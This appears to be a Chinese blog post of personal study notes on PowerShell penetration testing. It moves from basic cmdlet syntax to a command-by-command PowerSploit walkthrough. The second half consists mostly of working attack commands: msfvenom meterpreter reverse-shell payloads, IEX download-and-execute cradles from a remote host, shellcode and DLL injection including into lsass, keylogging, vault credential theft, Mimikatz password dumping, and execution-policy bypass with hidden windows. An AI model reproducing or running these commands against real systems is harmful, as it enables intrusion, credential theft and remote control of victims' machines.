从零开始学PowerShell渗透测试
从零开始学PowerShell渗透测试
前言
win7以后,powershell默认安装在windows上,这是一个非常强大的渗透测试利器
主要用于后渗透的过程中,扩大攻击面,原来没有怎么接触过这玩意,最近发现了几款ps渗透框架才意识到了powershell的强大。所以,还是准备好好学学。从零开始的那种。
基本语法入门
启动
直接通过启动栏输入powershell
就好
简单命令
Get-Help
主题
Windows PowerShell 帮助系统
Get-Alias
获取当前会话中的所有别名
获取别名之后你会发现,有很多和linux相通的命令 cd ls tee .....
关于Cmdlets
- powershell里重要的命令集合
- 以.net形式存在
-
Get-Command -CommandType cmdlet
命令可以获取其命令集
start-process
start-process notepad.exe
Get-Process
获取指定的进程
Get-Content
类似cat
Get-Location
类似pwd
Copy-Item
cp
Move-Item
mv
基本语法
运算符
· >:将输出保存到指定文件中(用法:Get-Process>output.txt)
· >>:将脚本的输出追加到指定文件中(用法:test.ps1>>output.txt)
· 2>:将错误输出到指定文件中(Get-Porcess none 2>Errors.txt)
· 2>>:将错误追加到指定文件中(Get-Process none 2> logs-Errors.txt)
· -eq:等于运算符(用法:$var1 –eq $var2,返回真或假)
· -gt:大于运算符(用法:$var1 –gt $var2,返回真或假)
· -match:匹配运算符,搜索字符串是否在文中出现(用法:$Text –match $string返回真或假)
· -replace:替换字符串(用法:$Text –replace 被替换的字符,替换的字符,返回真或假)
· -in:测试一个字符或数字是否出现在文本中或列表中,声明列表直接使用()
数组
$Array = value1, value2, value3
语句
- 条件语句
If($var {comparison_statement} $var2) { What_To_Do)}
Else {what_to_do_if_not}
- 循环语句
· While () {}
· Do {} While()
· For(;;;) {}
渗透测试框架PowerSploit
简介
https://github.com/mattifestation/PowerSploit.git
PowerSploit是Microsoft PowerShell模块的集合,可用于在评估的所有阶段帮助渗透测试人员
有很多可用的模块,源码直接在git上可以下载到,以下就简单介绍一下使用方法。
CodeExecution模块
在目标主机执行代码
Invoke-Shellcode.ps1
向指定进程中注入我们的shellcode
配置可执行代码:
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1234 -f powershell -o /shell.txt
# msfconsole 监听刚才的payload配置
靶机下载代码,并执行
PS C:\> Import-Module C:\PowerSploit\CodeExecution\Invoke-Shellcode.ps1
PS C:\> IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/shell.txt')
PS C:\> Invoke-Shellcode -Shellcode @($buf) -ProcessId 6284
Invoke-DllInjection.ps1
将自己的dll注入到目标机器的指定进程中,
administrator或者system权限操作
配置dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.6 LPORT=1234 -f dll -o /root/Desktop/shell.dll
加载代码,执行
Import-Module C:\PowerSploit\CodeExecution\Invoke-DllInjection.ps1
Invoke-DllInjection -ProcessID 5560 -Dll shell.dll
Invoke-ReflectivePEInjection.ps1
远程注入dll
Import-Module C:\PowerSploit\CodeExecution\Invoke-ReflectivePEInjection.ps1
$PEBytes = [IO.File]::ReadAllBytes('c:\shell.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName 2008R2DC
Exfiltration模块
用来信息搜集的
截屏
Import-Module C:\PowerSploit\Exfiltration\Get-TimedScreenshot.ps1
Get-TimedScreenshot -Path c:\temp\ -Interval 5 -EndTime 11:23 每5秒截一次图,到11:23时结束
键盘记录
meterpreter再开的cmd[shell]
Import-Module C:\PowerSploit\Exfiltration\Get-Keystrokes.ps1
Get-Keystrokes -LogPath C:\temp\key.log -Timeout 2 记录2分钟
抓取Windows vault 中保存的各种密码
Import-Module C:\PowerSploit\Exfiltration\Get-VaultCredential.ps1
Get-VaultCredential
mimikatz套件
Import-Module C:\PowerSploit\Exfiltration\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords exit" 抓取系统本地的用户密码明文及hash
Privesc模块
用来提权的模块
将当前线程令牌提到system
Import-Module C:\PowerSploit\Privesc\Get-System.ps1
Get-System
执行提权的各种检查
要检查的内容比较多,如,可执行文件权限,服务运行权限,检查可被劫持的dll位置
Import-Module C:\PowerSploit\Privesc\PowerUp.ps1
Invoke-AllChecks | Out-File pri_info.txt
内网信息搜集的一些小模块
端口扫描
Import-Module C:\PowerSploit\Recon\Invoke-Portscan.ps1
Invoke-Portscan -Hosts 192.168.3.0/24 -T 4 -Ports "21,22,23,80,1433,1521,3306,3389" | Out-File port_info.txt
dns反向解析
Import-Module C:\PowerSploit\Recon\Invoke-ReverseDnsLookup.ps1
Invoke-ReverseDnsLookup '192.168.3.20-192.168.3.24'
精通
在执行powershell脚本时有些时候会报错,有如下绕过的方法
本地权限绕过
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
本地隐藏权限绕过
PowerShell.exe -ExecutionPolicy Bypass -NoLogo –NonInteractive -NoProfile -WindowStyle Hidden -File xxx.ps1
远程下载绕过
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('http://网址/对应脚本名称'); Invoke-Mimikatz -DumpCreds"
后记
上面就是学习的powershell的一些笔记,这些笔记学的也比较粗浅,归根接地这都是要运到实战上的,大牛勿喷,以后继续努力。
参考链接
https://klionsec.github.io/2016/10/06/powersploit/
0 条评论
可输入 255 字
热门文章
目录
-
从零开始学PowerShell渗透测试
- 前言
- 基本语法入门
- 启动
- 简单命令
- Get-Help
- Get-Alias
- 关于Cmdlets
- start-process
- Get-Process
- Get-Content
- Get-Location
- Copy-Item
- Move-Item
- 基本语法
- 运算符
- 数组
- 语句
- 渗透测试框架PowerSploit
- 简介
- CodeExecution模块
- Invoke-Shellcode.ps1
- Invoke-DllInjection.ps1
- Invoke-ReflectivePEInjection.ps1
- Exfiltration模块
- 截屏
- 键盘记录
- 抓取Windows vault 中保存的各种密码
- mimikatz套件
- Privesc模块
- 将当前线程令牌提到system
- 执行提权的各种检查
- 内网信息搜集的一些小模块
- 精通
- 后记
- 参考链接